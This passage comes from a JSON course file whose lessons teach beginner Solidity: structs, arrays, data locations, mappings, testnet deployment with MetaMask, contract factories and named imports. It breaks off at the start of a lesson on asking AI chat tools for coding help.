which! We need a way to tie favorite numbers to people. So let's evolve our code by defining a new type `Person` using the `Struct` keyword.\n\n```bash\nstruct Person {uint256 favorite_number;string name;}\n```\n\nRealize the beauty of this new type? Now each `Person` has a favorite number and a name! Remember we need to be particular about scope - don't let your internal variable names clash.\n\n```bash\nRenaming to avoid clashuint256 my_favorite_number;\n```\n\nWe can now create a variable of type `Person` the same way we did for `uint256`. Meet our friend Pat!\n\n```bash\nPerson public my_friend = Person(7, 'Pat');\n```\n\nSo, we've now created our own type `Person` and defined Pat who has a favorite number of seven and a name of 'Pat'. We can retrieve these details using the generated getter function thanks to the `public` visibility.\n\n### An Array of `Person`\n\nCreating individual variables for each friend might become a tedious task, especially when we'd like to add a large number of friends. What we can do instead is use the array syntax we've learned and create an array or list of `Person`.\n\n```bash\nPerson[] public list_of_people;\n```\n\nWhen using a dynamic array, we can add as many `Person` objects as we wish to our list, as the size of the array can now grow and shrink dynamically in Solidity. We can access each `Person` object in our array by its index.\n\n### Adding Persons to the List\n\nNext, we need to create a function that will allow us to add people to our list.\n\n```bash\nfunction add_person(string memory _name, uint256 _favorite_number) public {\n list_of_people.push(Person(_favorite_number, _name));\n}\n```\n\n`add_person` is a function that takes two variables as input - the name and favorite number of the person. It creates a new `Person` object and adds it to our `list_of_people` array.\n\n### Final Thoughts\n\nWith these additions, our Solidity contract is now able to store multiple favorite numbers, each tied to a specific person. When called, our `add_person` function will create a new `Person`, add them to the dynamic array and we can view each person and corresponding favorite number via their array index.\n\nAnd that's it! We've now gone from a simple contract that stores just one favorite number to one that can handle multiple favorite numbers from different people. Happy coding!\n\n\n", + "updates": [] + }, + { + "id": "1b19ae88-aafa-4d49-be07-40f1a34bb6b7", + "number": 6, + "title": "Errors and warnings", + "slug": "solidity-errors-and-warnings", + "folderName": "6-errors-and-warnings", + "description": "A guide to understanding and resolving errors and warnings in Solidity programming. The lesson covers interpreting the color coding of error messages, leveraging online resources like Phind, and effectively using communities like GitHub discussions and Stack Exchange for problem-solving.", + "duration": 5, + "videoUrl": "HjZQTFrs7qE", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/6-errors-and-warnings/+page.md", + "markdownContent": "---\ntitle: Errors and Warnings\n---\n\n*Follow along with the course here.*\n\n\n\n\n\n## Interpreting the Color Coding\n\nWhen working with Solidity, if we negligently eliminate something crucial from our code – like semicolon – and then try to compile, we are met with a stream of red error messages. Whenever you see these red errors, it indicates that your code is not compiling. In essence, Solidity isn't able to convert your written code into machine-readable form.\n\nHere's an illustrative error message you might encounter:\n\n\n\n\n\n\n\nHere, Solidity is complaining about a missing semicolon. So, to rectify this, we simply need to append a semicolon at the appropriate point in the code, then recompile. With the semicolon in place, no errors will occur, and we can go on to deploying our code to the blockchain.\n\nOn another note, let's consider what happens when we delete the SPDX license identifier from the top of our code, then recompile. Instead of a sea of red, we get a yellow box alerting us to a warning, rather than an error.\n\n```markdown\n> Warning: SPDX license identifier not provided in source file\n```\n\n\n\n\nIt's encouraging to note that, despite warnings, we can still compile and deploy our code. These warnings function as alerts; not as impediments. However, this should not be interpreted as carte blanche to ignore these alerts. They are warnings for a good reason. Often, they highlight poor or risky practices in your code, sometimes hinting at bugs. Thus, it's often wise to heed these warnings and modify your code accordingly.\n\nTo recap:\n\n- If it's *red*, it's broken.\n- If it's *yellow*, you might want to double-check.\n\n## Learning to Leverage Online Resources\n\nIn situations when the errors or warnings remain cryptic, we can turn to online resources for assistance. Suppose you encounter an error message that leaves you bewildered. In such cases, copying the error message and performing a Google search, or using resources highlighted in this course – such as Chat GPT, GitHub Discussions, Ethereum Stack Exchange – can make the situation clearer. Each of these resources has its strengths and weaknesses, which we will discuss later in the course.\n\n### Utilizing Phind – The AI Search Engine for Developers\n\nFor instance, using [Phind](https://www.phind.com/) can prove beneficial. **Phind** is an AI-powered search engine for developers. It operates by first conducting a Google search based on your query, then parsing the results to give you a contextual response.\n\n\n\n\nWe can enter the compiler error under the drop-down selection, then execute the search. The result is a detailed insight into why the error occurred and how to fix it.\n\n\n\n\n\n\nAfter intensive AI analysis, **Phind** suggests that a simple addition of a semicolon where the new person is being pushed onto the dynamic 'people' array list, can resolve the issue.\n\n\n\n## Other Key Online Developer Resources\n\nSeveral AI tools are still in their developmental stages so they may not always render the perfect solution.\n\nOther remarkable communities include **GitHub discussions, Stack Exchange** among others.\n\n\n\n\nWe encourage you to actively use these resources, as they can significantly enhance your understanding and skill.\n\nIn later parts of this course, we will take a closer look at posing effective questions, AI prompting, structuring your questions, as well as searching and learning more.\n\nShould you receive a less than satisfactory answer from Find or Chat GPT, feel free to use the GitHub discussions for course-specific queries. For broader questions about Solidity or Foundry, there are several other resources at your disposal.\n\nCongratulations! You've just taken your first steps into the domain of prompt engineering and the understanding to face errors and warnings head-on. In the next lesson, we will take a closer look at the Solidity and more advanced features of Remix.", + "updates": [] + }, + { + "id": "1d8d1ef5-924a-4a2a-89cd-25c31f274e62", + "number": 7, + "title": "Memory storage and calldata", + "slug": "solidity-memory-storage-calldata", + "folderName": "7-memory-storage-calldata", + "description": "An in-depth look at data locations in Solidity, focusing on the differences and applications of 'memory', 'storage', and 'calldata'. The lesson explains these concepts with examples, clarifying their roles in temporary and permanent data storage within smart contracts.", + "duration": 6, + "videoUrl": "ISBvYpFBTyo", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/7-memory-storage-calldata/+page.md", + "markdownContent": "---\ntitle: Memory, Storage, and Calldata\n---\n\n\n*Follow along with the course here.*\n\n\n\n\nOne aspect that crashes the compilers and gets heads scratching is the `memory` keyword, which we can gloss over, as it's heavily entwined with the data locations in Solidity. You might be puzzled when you delete the keyword sometimes and you receive a compilation error. Let's dive into this conundrum.\n\n## Data Locations in Solidity\n\nSolidity allows data to be stored in 6 locations:\n\n1. Stack\n2. Memory\n3. Storage\n4. Calldata\n5. Code\n6. Logs\n\nFor the purposes of this post, we will focus on three principal ones: Call Data, Memory, and Storage. Adding a word of caution – this can get quite intricate. If you don’t comprehend everything on the first go, remember perseverance is the key.\n\n## Call Data and Memory: Temporary Variables\n\n\n\n\nIn Solidity, `calldata` and `memory` relate to temporary variables that only exist during the execution of a function. If you run a function with a variable name for once, you can access it only for that particular function execution. If you try to retrieve the variable in the next function execution, you will fail because it was stored temporarily.\n\nExample:\n\n```bash\nstring memory name = \"Patrick\";\nuint256 favoriteNumber = 7;\n```\n\nStrings need special attention. In Solidity, you must specify either memory or call data due to the way arrays work in memory. Most variables automatically default to memory variables, while strings require explicit specification.\n\n\n\n\nSo far, so right, but why do we have two variants of temporary variables? Let's explore more with an example.\n\n\n\n\nNow, If we replace `memory` with `calldata` and try to compile it, we receive an error message. This occurred because, unlike `memory` variables, `calldata` variables can't be manipulated – they are read-only.\n\n## Storage: Permanent Variables\n\nWhile `calldata` and `memory` are designated for temporary variables, `storage` is for permanent variables that can be altered.\n\n\n\n\nVariables declared outside any function, directly under the contract scope, are implicitly converted to storage variables.\n\n```bash\ncontract MyContract {\n uint256 favoriteNumber = 123\n };\n```\n\nYou can always retrieve these permanent variables later, even outside function calls.\n\n## The Essence of Memory Keyword\n\nNow, you might be thinking, why do we explicitly use the `memory` keyword on the String and not on the `uint256`, also you'll get an error stating `Data location can only be specified for array, struct, or mapping type`.\n\n\n\n\nSolidity recognizes `string` as an array of bytes (a special type) and due to memory management workings, we need to use `memory` with it. Primitive types such as the `uint256` are smart enough and know where to be located under the hood.\n\nRemember, you can't use the `storage` keyword for temporary variables inside a function. Only `memory` and `calldata` are allowed here because the variable only lives for a short duration.\n\n## Key Takeaway\n\n- When passed as function parameters, structs, mappings, and arrays in Solidity need to use the explicit `memory` keyword.\n- Strings, considered an array of bytes, require explicit `memory` or `calldata` keyword.\n\nCongratulations for reaching this point, now let's delve into Solidity mappings.", + "updates": [] + }, + { + "id": "2022d3b1-4a00-429a-8fbd-e984114ba876", + "number": 8, + "title": "Mappings", + "slug": "solidity-mappings", + "folderName": "8-mappings", + "description": "This lesson introduces the concept of mappings in Solidity, explaining how they can be used to efficiently link information, such as connecting names to numbers. It demonstrates how to define and use mappings to improve data access in a smart contract.", + "duration": 5, + "videoUrl": "o8lzK640cuA", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/8-mappings/+page.md", + "markdownContent": "---\ntitle: Solidity Mappings\n---\n\n*Follow along with the course here.*\n\n\n\n\n\n## Understanding the Problem with Arrays\n\nImagine you have a contract that holds a list of individuals along with their favorite numbers:\n\n```json\n[\n (\"Pat\", 7),\n (\"John\", 8), \n (\"Mariah\", 10), \n (\"Chelsea\", 232)\n]\n```\n\nNow, if you want to know Chelsea's favorite number, you will have to run a loop through the array. This might seem fine when managing data of a few individuals, but imagine scaling this up to 1,000 or more. Constantly iterating through large arrays to locate a specific element can be incredibly time-consuming and inefficient.\n\nTake the scenario:\n\n```json\nOh, what was Chelsea's favorite number?\n Array element at 0 - Pat.\n Array element at 1 - John.\n Array element at 2 - Mariah.\n Array element at 3 - Chelsea => favorite number: 232.\n```\n\nIs there a better data structure that can improve this access process and make finding individual information a breeze?\n\nMeet `mapping`.\n\n## Mapping: A Simpler Way to Link Information\n\nThink of mapping in coding like a dictionary: each word in a dictionary has a unique meaning or a chunk of text associated with it. Similarly, a mapping in code is essentially a set of keys with each key returning a unique set of information. Thus, if you look up a word or a 'string' in coding terms, the corresponding output will be the text or 'number' associated only with that string.\n\nA typical way of defining a mapping starts with the keyword 'mapping', the key type, the datatype of data to be linked with each key and the visibility type. Let's create a mapping type:\n\n```javascript\nmapping (string => uint256) public nameToFavoriteNumber;\n```\n\nWith this, we have constructed a mapping that maps every string to a uint256 number emulating a link between a person's name and their favorite number. Now, rather than iterating through an array, we can directly enter the name and get their favorite number.\n\n## Augmenting the AddPerson Function\n\nPreviously, we had an `addPerson` function that enabled us to add someone to our list. Let's modify this function to update our mapping every time a person is added:\n\n```javascript\n// Adding someone to the mapping\nnameToFavoriteNumber[_name] = _favoriteNumber;\n```\n\nThis line will add a person's name to the mapping where each name will point to their favorite number. The result? A far quicker way to access a person's favorite number just by knowing their name.\n\n\n\n\n## A Test Run\n\n\n\n\nThe last example illustrates an important point. In a mapping, the default value for all key types is zero. Therefore, if you look up a key (person's name in this case) that hasn't been added yet, it will return the default value which is zero.\n\n## Wrapping Up\n\nIn conclusion, mapping in code can be a versatile tool to increase efficiency when attempting to find elements within larger lists or arrays. By streamlining the process with the use of a mapping, you can avoid the woes of constant iteration and instead achieve results more directly. As such, mapping is a useful tool every programmer should have in their toolbox.", + "updates": [] + }, + { + "id": "bdcd4385-ca14-49c0-8367-cdf923c9e6ec", + "number": 9, + "title": "Deploying your first contract", + "slug": "deploying-solidity-smart-contract", + "folderName": "9-deploying", + "description": "A practical guide to deploying a Solidity smart contract on a testnet. The lesson walks through the pre-deployment audit, compilation check, changing the environment, connecting accounts, confirming transactions, and interacting with the deployed contract.", + "duration": 10, + "videoUrl": "qHfWQpnvVLY", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/9-deploying/+page.md", + "markdownContent": "---\ntitle: Deploying a Contract\n---\n\n*Follow along with the course here.*\n\n\n\n\n# Deploying A Simple Storage Contract On A Testnet\n\nIf you’ve been following along through our work with simple storage contract, you will see that we have progressively added functionality to our solidity contract. With our favorite number feature, typing person, public list, favorite number retrieval, and update functions, we’ve built up a solid contract structure. Now, it’s time to steer away from abstract theorizing and practically deploy this to a real **testnet**.\n\n\n## Pre-Deployment Audit\n\n\n\n\n## Compilation Check\n\nThis ensures that our contract has no errors or warnings and is fit for deployment. Go to your development environment and ensure that you have a green checkmark, indicating a successful compilation.\n\n## Changing The Environment\n\nThe deployment process Kicks off by switching from the local virtual environment (Remix VM) to MetaMask as the Injected provider. Here's how you can make the switch:\n\n1. Navigate to the deploy tab\n2. Delete any content there\n3. Change the environment\n\nChoose the **Injected Provider MetaMask** option. This allows the web interface to interact with your MetaMask account.\n\n\n\n\n## Connecting The Account\n\nUpon choosing MetaMask as your injected provider, you will be prompted to pick a specific account for use. Choose your desired account and proceed to connect it. Next, check your MetaMask display and ensure that your account is properly connected to Remix. It’s critical to double-check that you are on the correct testnet as this guide uses the Sapolia testnet.\n\n\n\n\nIf have sufficient Sapolia ETH in your account provided from a [faucet](https://sepoliafaucet.com/), you can now go ahead and click the \"Deploy\" button.\n\n\n## Confirming The Transaction\n\nUpon hitting the deploy button, MetaMask will prompt you to confirm the transaction for contract deployment.\n\nSince we are on the Sapolia testnet and not on a mainnet, the money spent here is not real.\n\nClick \"Confirm\" to launch the contract deployment.\n\n\n\n\n## Checking The Deployment\n\nAfter you confirm, you should now find the following indicators that your contract deployment is successful:\n\n- Green checkmark appears\n- Invocation status changes to ‘block confirmations’\n- Contract address appears under deployed contracts\n\n\n\n\n\nIf you wait and refresh your etherscan page, you’ll see a \"Success\" status, along with the complete details of your transaction. For deployment transactions, the input data field will be larger than normal transaction data; it contains contract creation data, along with the gas fee details because any action that alters the blockchain requires gas for implementation.\n\n\n\n\n# Interacting With The Deployed Contract\n\nNow that your contract has been successfully deployed, we can recreate the same Flexibility as we had on the virtual environment on this testnet.\n\nWe can call the Retrieve function, and Name to favorite function which returns zero and nothing respectively as we haven't updated anything. Adding zero in for the list of people also returns nothing as expected.\n\n# Updating The Blockchain\n\nTo update the blockchain, press store and input a number (e.g., 7878). MetaMask will prompt you to confirm the update transaction. This will update the favorite number on the contract.\n\nSimilar confirmation checks will be run, with transaction details available on etherscan.\n\n\n\n## Celebrate Small Wins\n\nIf you’ve successfully followed all these steps, you’ve just navigated your first practical deployment of a smart contract to a testnet! Don't underestimate the importance of celebrating small developmental milestones. They are key psychological boosts that will keep you motivated and engage with any new skill you’re learning.\n\n\n## Deploying to Another Testnet\n\nIf you wanted to deploy to another testnet, just switch to the testnet, ensure sufficient ETH and repeat the deployment process.\n\n## Deploying to Mainnet\n\nFor the mainnet, the same process is applicable with the main difference being that you would require Ethereum, or in other words real money, to deploy.\n\nMoreover, if you want to deploy to other EVM compatible networks, we'll cover that in future guides.\n\n## Coining Yourself As A Solidity Developer\n\nBy deploying and interacting with your smart contract, you can confidently call yourself a solidity developer. Remember, every developer's journey comes with constant learning curves, so don’t stop here. Keep exploring and experimenting with Solidity and of course keep learning with the next lessons.", + "updates": [] + }, + { + "id": "61efb7c8-e936-47de-8e49-dc8814b31ff6", + "number": 10, + "title": "Section recap", + "slug": "evm-recap", + "folderName": "10-evm-recap", + "description": "A recap of the section, emphasizing the understanding and workings of the Ethereum Virtual Machine (EVM) and its compatibility with various blockchains. The lesson revisits the essentials of writing a smart contract, types and structures in Solidity, functions, data locations, and the importance of continued learning in Solidity development.", + "duration": 3, + "videoUrl": "5LUtOkruO_k", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/10-evm-recap/+page.md", + "markdownContent": "---\ntitle: Recap & Congratulations\n---\n\n*Follow along with the course here.*\n\n\n\n\n\n\n## Working with Ethereum Virtual Machine (EVM)\n\nOne term that frequently comes up when talking about deploying code onto a blockchain network is \"EVM,\" which stands for `Ethereum Virtual Machine`. Now, the EVM might seem like a complex term, but essentially it's a standard for how to compile and deploy smart contracts to a blockchain.\n\nFor anyone interacting with the blockchain space, particularly those deploying smart contracts, understanding the basic functioning and application of the Ethereum virtual machine is invaluable.\n\n\n\n## EVM Compatible Blockchains\n\nAny smart contract or solidity code you write can be deployed to any blockchain that is compatible with the EVM. Prime examples of such blockchains and Layer 2 solutions include **Ethereum**, **Polygon**, **Arbitram**, **Optimism**, and **Zksync**. Even though a blockchain, such as Zksync, might be EVM-compatible, it's critical to ensure that all keywords are compatible as some do not work with every EVM-compatible blockchain.\n\n\n\n\nNow that we've understood the basics of EVM and its deployment, let's dive into the nitty-gritty of writing your solidity code for smart contracts.\n\n## Writing Your First Smart Contract\n\nAt the start of any smart contract or Solidity code you write, always mention the version you want to work with. Right above the version, insert the SPDX license Identifier. If you're unsure about the version to use, you can default to the *MIT license* for the time being.\n\nHere's an example:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity >=0.7.0 <0.9.0;[...]\n```\n\nNext, you need to create what is known as a contract object. This contract object constitutes the basic structure of your smart contract. A `contract` in Solidity is somewhat similar to a class in other programming languages, where anything inside the curly brackets `{'{'}...{'}'}` forms part of that contract.\n\n## Types and Structures\n\nSolidity supports multiple types like `uint256`, `string`, `boolean`, `int`, and others. Further, Solidity also allows for the creation of custom types using a feature known as a `struct`.\n\nThough this language might seem foreign, take solace in the fact that Solidity, like other programming languages, supports the creation of arrays (or lists), and mappings (akin to dictionaries or hash tables). As a quick reference, if you provide a key to your mapping, you'll receive the variable associated with that key.\n\n## Functions and Behavior\n\nThe real magic happens when we start creating functions in Solidity that can modify the state of the blockchain. In addition, we can create functions that are \"read-only\", meaning they don’t modify the blockchain’s state - these are known as `view` and `pure` functions.\n\n## Data Locations and Memory\n\nWe can specify different data locations in our parameters. Notice that this only applies to particular types like strings, structs, and arrays. The terms `calldata` and `memory` are used to denote temporary variables that exist only for the duration of a function call. On the other hand, `storage` variables are permanent and remain in the contract forever.\n\nAn important caveat is that function parameters can't be `storage` variables, as they will only exist for the duration of the function call.\n\n## Conclusion\n\nWhen we compile our smart contract, it essentially compiles our Solidity code down to EVM-compatible bytecode (machine-readable code). We will delve into these specifications in later posts.\n\nBut for now, congratulations on making your first step toward creating a contract on the blockchain! Go reward yourself with some ice-cream, an extra cup of coffee, or anything else you fancy. Happy coding!\n", + "updates": [] + } + ] + }, + { + "number": 2, + "id": "bef84d21-e135-4171-bbc1-ac4275da456a", + "title": "Storage Factory", + "slug": "storage-factory", + "folderName": "2-storage-factory", + "lessons": [ + { + "id": "5fabb153-8853-4b94-9984-d15dfe6501a5", + "number": 1, + "title": "Storage factory introduction", + "slug": "factory-introduction", + "folderName": "1-factory-introduction", + "description": "Introduction to deploying and interacting with contracts, focusing on Remix Storage Factory. The lesson involves working with 'SimpleStorage.sol', 'AddFiveStorage.sol', and 'StorageFactory.sol', demonstrating how other contracts can deploy and interact with new contracts.", + "duration": 4, + "videoUrl": "mlu8ISV3ZH4", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/1-factory-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n*If you'd like, you can follow along with the course here.*\n\n\n\nWelcome back to our developer tutorial series! We've made our way to lesson three, where we'll dive deeper into the world of contracts, by discussing their deployment and interaction abilities. As always, all the resources for this session can be found in the [Github Repo](https://github.com/Cyfrin/foundry-full-course-f23#lesson-3-remix-storage-factory). For this lesson, we'll focus on the Remix Storage Factory.\n\n\n## What To Expect in This Lesson\n\nIn this session, we'll be working with three new contract files, namely:\n\n1. `SimpleStorage.sol` - we'll be working with a slightly modified version of this Smart Contract,\n2. `AddFiveStorage.sol` - a completely new one for this lesson,\n3. `StorageFactory.sol` - our main character for this lesson.\n\nOur `StorageFactory.sol` will serve as a workshop, creating and deploying new Simple Storage contracts. It's crucial to note that other contracts can indeed deploy new contracts. Beyond deployment, our storage factory will also interact with these freshly minted contracts.\n\n## Diving Deeper Into the Code\n\nBefore we delve into writing code, let's visualize how this whole thing works. We'll take you through these steps with the help of the Remix VM, let's take a look to the main functions we are going to work with.\n\n```js\ncontract simplestorage {\n function createSimpleStorageContract() public {};\n function sfStore(uint256 _simpleStorageIndex, uint256 _simpleStorageNumber) public {};\n function sFGet(uint256 _simpleStorageIndex) public view returns (uint256) {}\n }\n```\n\nFollow along:\n\n1. Compile our code and deploy to the Remix VM.\n2. Scroll down to choose 'storage factory' from the contract selection.\n3. Now we have deployed this contract.\n\nThe first function is `createSimpleStorageContract()`. We'll trigger this and see a new transaction appear. This transaction shows us deploying a Simple Storage contract from our Storage Factory contract.\n\nAs a bonus, we can interact with our Simple Storage contract via the `Store` function. This function accepts a favorite number input. Let's test this by using the `sfStore` function from our Storage Factory contract. We'll enter `0` as the index for our Simple Storage contract (as we've only deployed one so far), and we'll say our new favorite number is `123`. We'll execute `sfStore` and voila!\n\nNow type `sFGet(0)`, we'll retrieve the favorite number 123 we stored earlier.\n\n\n## Wrapping Up\n\nAside from the storage factory, this lesson is also about introducing you to critical Solidity features such as imports and inheritance. But remember this is just a introduction, we are going to dive on how this contracts works step by step on the next lessons.", + "updates": [] + }, + { + "id": "cd198711-c9ff-44fa-825f-3ca72733a5d9", + "number": 2, + "title": "Setting the project", + "slug": "setting-up-the-factory", + "folderName": "2-setting-up-the-factory", + "description": "This lesson explores the concept of composability in smart contracts, particularly in DeFi, and introduces the 'StorageFactory' contract that interacts with and deploys the 'SimpleStorage' contract. It covers setting up the StorageFactory contract in Remix and emphasizes the importance of version consistency in Solidity.", + "duration": 6, + "videoUrl": "VE4Vq1X24Xs", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/2-setting-up-the-factory/+page.md", + "markdownContent": "---\ntitle: Setting up\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\n## What is Composability in Smart Contracts?\n\n\n\n\nOne of the key aspects of blockchain development is the seamless and permissionless interaction among contracts, referred to as composability. This becomes especially important in decentralized finance (DeFi), where intricate financial products interact compatibly using the same smart contract interface.\n\nIn this lesson, we'll be creating a contract titled `StorageFactory` that will interact with and deploy our existing `SimpleStorage` contract.\n\n## Setting Up the StorageFactory Contract\n\nCreating our new contract in Remix follows the same steps we've previously covered. The power of repetition is indeed vastly underrated — and this principle will hold even more merit when we begin working with AI pair programming tools.\n\nThe primary structure of every Solidity smart contract begins with the SPDX License Identifier and the desired version of Solidity expressed as a pragma statement.\n\n```js\n// SPDX-License-Identifier: MITpragma solidity ^0.8.18;\n```\n\nNext, we'll define our contract:\n\n```dart\ncontract StorageFactory {}\n```\n\nOnce your contract is defined, remember to hit `Compile` The caret sign `(^)` before the solidity version implies that any version greater than or equal to 0.8.18 is acceptable.\n\n## Creating and Deploying the SimpleStorage Contract\n\nThe StorageFactory contract needs to deploy a SimpleStorage contract. For it to do this, the StorageFactory contract should know and understand what the SimpleStorage contract is and how it works.\n\nOne way to ensure this is by placing the SimpleStorage contract code within the same file as the StorageFactory. This can be done by copying the SimpleStorage code and pasting it above the StorageFactory contract but below the pragma solidity line.\n\n```dart\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract SimpleStorage {SimpleStorage code here}\n\ncontract StorageFactory {}\n```\n\nThis option does allow for successful compilation, and both contracts can exist within the same file. However, this isn't best practice, especially with larger projects where multiple contracts in a single file can cause confusion and difficulty in code navigation. As a best practice, each contract should reside in its own file.\n\nWhen deploying contracts, if you select Remix VM and scroll down to the `Choose Contract` section, you'll notice that both contracts (SimpleStorage and StorageFactory) appear if the StorageFactory.sol file is open.\n\n\n\nNext, in our StorageFactory.sol file, we'll create a function - `createSimpleStorageContract` that can deploy the SimpleStorage contract.\n\nThe journey of harnessing the full potential of Solidity across these lessons is both challenging and exciting, stay tuned for more updates.\nHappy coding!\n\n", + "updates": [] + }, + { + "id": "4e6c8899-247a-480a-9893-1b4d15cbd6b1", + "number": 3, + "title": "Deploying a contract from a contract", + "slug": "deploying-a-contract-from-a-contract", + "folderName": "3-deploying-a-contract-from-a-contract", + "description": "The chapter focuses on deploying a Simple Storage contract in Solidity and saving it to a storage or state variable. It covers the syntax for creating a Simple Storage contract within another contract and demonstrates the deployment and interaction process in Remix.", + "duration": 5, + "videoUrl": "oiXMEKO5mAE", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/3-deploying-a-contract-from-a-contract/+page.md", + "markdownContent": "---\ntitle: Deploying a Contract from a Contract (Factory)\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\nThis chapter covers the process of deploying a Simple Storage contract in Solidity by saving it to a storage or state variable. This will be implemented similarly to saving any variable.\n\n## Understanding the Syntax\n\nLet's begin by recalling an example of assigning a variable: `uint256 public favoriteNumber`. This follows the format `type visibility name`. In our case, we are going to do the exact same thing.\n\nThe type of a Simple Storage contract will be `SimpleStorage`. The contract keyword here is similar to the Struct keyword, allowing us to create a new type.\n\n\n\n\nIt is important to point out a syntax frequently used in Solidity and can be confusing for beginners: `SimpleStorage simpleStorage;`. The difference between `SimpleStorage` on the left and `simpleStorage` on the right lies in the case sensitivity. `Simple Storage` refers to the contract type while `simpleStorage` refers to the variable name.\n\n\n\n\nYou will often find programmers naming the variable the same way as the contract itself.\n\n## Creating A Simple Storage Contract\n\nWe will go ahead and identify our contract in our `createSimpleStorageContract()` function. To do this, we will assign `simpleStorage = new SimpleStorage();`. Solidity knows to deploy a contract when we use the `new` keyword.\n\nThis code should now succesfully compile. We can proceed to deploy it. Ensure that you are on the storagefactory.sol on the right-hand side, then scroll down to the contract. Now, you should be able to deploy the `StorageFactory`.\n\n## Testing The Deployment\n\nAfter hitting the deploy button, you can observe the transaction visibility in the terminal. You will notice two buttons: a blue `View Function` button, which is there because the public keyword automatically gives the variable name a getter function, and an orange `createSimpleStorageContract` button that corresponds to the transaction.\n\nIf we call the `createSimpleStorageContract` and then call `SimpleStorage` blue view function, the address that appears verifies that our `SimpleStorage` contract has been deployed.\n\n\n\n\nAnd just like that, you now know how to have a contract deploy another contract. Congratulations on tackling this important aspect of smart contract programming in Solidity. Despite the often subtle and sometimes confusing notation, the process itself is fairly straightforward. Familiarity comes with practice, so keep working with contracts and making deployments!", + "updates": [] + }, + { + "id": "2160e3d9-a66b-4f67-a5b8-bb759d5d9e10", + "number": 4, + "title": "Solidity imports", + "slug": "solidity-imports", + "folderName": "4-solidity-imports", + "description": "This lesson covers the use of the 'import' statement in Solidity for organizing contract files, managing Solidity versions, and the advanced method of 'named imports'. It demonstrates how importing improves workflow and allows for selective inclusion of contract elements.", + "duration": 6, + "videoUrl": "CNDzi1GuWyg", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/4-solidity-imports/+page.md", + "markdownContent": "---\ntitle: Solidity Imports\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\nIn this lesson, we will look at a more improved way of organizing your Solidity contract files using the `import` statement, making the task of making any changes in your contract files much simpler. We’ll also address potential issues around consistency in Solidity version between multiple files, and we'll focus primarily on the more advanced import method called `named imports` that you should always use.\n\n## The Immaculate Import\n\nMost programmers are familiar with the concept of import – it's like adding a new tool to your toolbox, allowing you to use code from different files without cluttering your current project file. In Solidity, this is no different.\n\nLet's say we are dealing with two contract files: `SimpleStorage.sol` and `StorageFactory.sol`. Prior to using `import`, you would have to constantly copy-paste your contents of `SimpleStorage.sol` into `StorageFactory.sol` and vice-versa if any changes are made. If you're thinking that's too much work, then you are absolutely right!\n\nInstead, you can just use the `import` statement:\n\n```js\nimport \"./SimpleStorage.sol\";\n```\n\nWith this single line of code, you can effortlessly incorporate `SimpleStorage.sol` into `StorageFactory.sol`, drastically improving your workflow. It's as good as planting the entire `SimpleStorage.sol` within `StorageFactory.sol`, but without the mess.\n\n## Manage Your Solidity Versions\n\nWith multiple contracts in place, a word of caution: be wary of the versions of Solidity you're using. This is crucial because while Remix will automatically adjust the version upwards to ensure compatibility (e.g., bumping `0.8.16` to `0.8.18`), going the other direction can lead to compile errors. Ensuring that you are consistent with your version of Solidity is vital for smooth compiling of all your contracts.\n\n## Named Imports: Your New Best Friend\n\nAlthough the import statement brings a breath of fresh air into your code organization, diving a little deeper will reveal a even better way of handling imports - the named imports.\n\nImagine `SimpleStorage.sol` has multiple contract files (`SimpleStorage2`, `SimpleStorage3`, `SimpleStorage4`) which are quite extensive in size.\n\n```js\nimport \"./simplestorage.sol\"\n```\n\nUsing this statement will import everything from `SimpleStorage.sol`, including all the bulky contract files, leading to a far more expensive deployment of the `StorageFactory.sol`.\n\nHere's where named imports come into play. Named imports allow you to cherry pick the exact contracts you need:\n\n```js\nimport { SimpleStorage } from \"./SimpleStorage.sol\";\n```\n\nEven if your `SimpleStorage.sol` has other contracts, named imports allow you to just import what you need (`SimpleStorage`), thus avoiding any unecessary imports.\n\nIf you need multiple contracts, named imports have got you covered:\n\n```js\nimport { SimpleStorage, SimpleStorage2 } from \"./SimpleStorage.sol\";\n```\n\nNow, this will only import `SimpleStorage` and `SimpleStorage2`, without bringing in any other possibly gargantuan contracts present in your `SimpleStorage.sol` file.\n\nBy sticking to named imports, you're not just making your future coding lives simpler, but you're also staying ahead of the curve. Incredibly, just by employing named imports, you're setting yourself apart, ahead of 80% of current Solidity developers.\n\n## Wrapping Up\n\nNow we've explored a more effective way of managing our Solidity contract files through the use of import statements, understood the need for solidity version management, and learned how to go one step further with named imports. Congratulations, you're now more equipped to organize your code, manage multiple contract files, and make your Solidity programming more efficient and tidy.\n\nRemember, in coding and in life, always aim to be incredibly efficient, even if that means being a little lazy.", + "updates": [] + }, + { + "id": "ce675e0a-d6e9-4d32-8201-2882b2c8ef5d", + "number": 5, + "title": "Use AI to help pt.1", + "slug": "ai-help-developing-coding", + "folderName": "5-ai-help-ii", + "description": "The lesson discusses utilizing AI chat platforms like ChatGPT and Bard to assist in understanding programming concepts. It emphasizes the importance of formulating questions effectively for AI platforms and provides guidance on using these tools for coding assistance.", + "duration": 4, + "videoUrl": "hA2AMEeldx4", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/5-ai-help-ii/+page.md", + "markdownContent": "---\ntitle: 5-ai-help-ii\n---\n\n\n\n\nWe've all been there. Staring blankly at a line of code and scratching our heads, trying to make sense of it. Sometimes a new concept or technique can trip us up. And it's not really surprising—the world of programming and technology is vast and constantly evolving and, sooner or later, we're bound to hit a roadblock.\n\nBut fret not. Because AI is here to save the day. More specifically, AI chat platforms like **ChatGPT** and **Bard**. They can be a helpful resource to gain clarity when we're navigating the rocky terrain of programming.\n\nHowever, remember that 'how' you ask questions can significantly impact the clarity and effectiveness of the answers.\n\n## Ask Questions the Right Way\n\nLet's say you come across a line of code and can't quite understand the difference between two instances of `SimpleStorage`. Here's how you can formulate a question for the AI:\n\n1. Open 